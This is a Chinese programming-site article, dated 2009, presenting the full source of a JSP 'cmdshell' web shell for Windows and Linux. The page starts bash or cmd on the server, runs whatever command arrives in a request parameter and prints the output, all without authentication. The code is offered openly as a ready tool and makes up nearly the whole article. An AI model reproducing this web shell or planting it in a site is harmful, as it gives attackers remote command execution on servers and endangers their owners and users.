您的位置:首页技术开发JSP 学院 → 教你用jsp写反弹的shell

教你用jsp写反弹的shell

时间:2009/10/30 14:48:00来源:本站整理作者:我要评论(1)

一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。

 

<%@page contentType="text/html;charset=gb2312"% > 
<%@ page import="java.io.*"%>     <!-- 导入java.io-->
<%
    File f = new File("/");
    String txt=(String)session.getAttribute("txt");
      Process pro=(Process)session.getAttribute("cmd");
    String v = request.getParameter("v");
    boolean isLinux=System.getProperty("os.name").startsWith("Linux");
    if(pro==null)
    {
      if(isLinux){
      pro=Runtime.getRuntime().exec("bash",null,f);
      }else{
      pro=Runtime.getRuntime().exec("cmd",null,f);
     
      }
      session.setAttribute("cmd",pro);
      txt="";
    }
    if(v.equals("clear")){
      txt="";
      return;
    }else if(v.equals("exit"))
    {
      session.removeAttribute("cmd");
    }
    if(v!=null)
    {
     v=v+"\r\n";
     OutputStream os=pro.getOutputStream();  
     os.write(v.getBytes());
     os.flush();
    }
    if(v!=null||(txt.length()==0))
    {
     InputStream is=pro.getInputStream();
     for(int i=0;i<10||is.available()>0;i++)
     {
     if(i==9)is=pro.getErrorStream();
     if(is.available()==0)
     {
      Thread.sleep(500L);
     }else
     {
      i=0;
      byte by[]=new byte[is.available()];
      is.read(by);
      String str=new String(by).replaceAll("<","&lt;");
      int cls=str.lastIndexOf("\f");
      txt=cls==-1?txt+str:str.substring(cls+1);
     }
     }
     session.setAttribute("txt",txt);
    }
    out.print("<pre>"+txt+"</pre>");
   out.print("Made By 孤水绕城");
%>

相关视频

    没有数据

相关阅读 jsp统计在线人数代码jsp技巧大全JSP页面间传递参数方法几个提升JSP应用程序效率的小方法JSP中文字符乱码处理的2种方法jsp上传组件smartupload介绍JSP初学者必须掌握的语法点告诉大家JSP连接数据库程序代码

文章评论
发表评论

热门文章 没有查询到任何记录。

最新文章 Java中Servlet获得异步 Java中Servlet获得异步支持java递归实现文件的删除和拷贝innerHTML怎样失焦判断FreeMarker和Jsp的应用范围

人气排行 java如何远程登录linux并执行其命令教你用jsp写反弹的shellFreeMarker和Jsp的应用范围Java 7关于#的用法jsp统计在线人数代码Java短信发送机的实现如何用java连接数据库方法Java中Servlet获得异步支持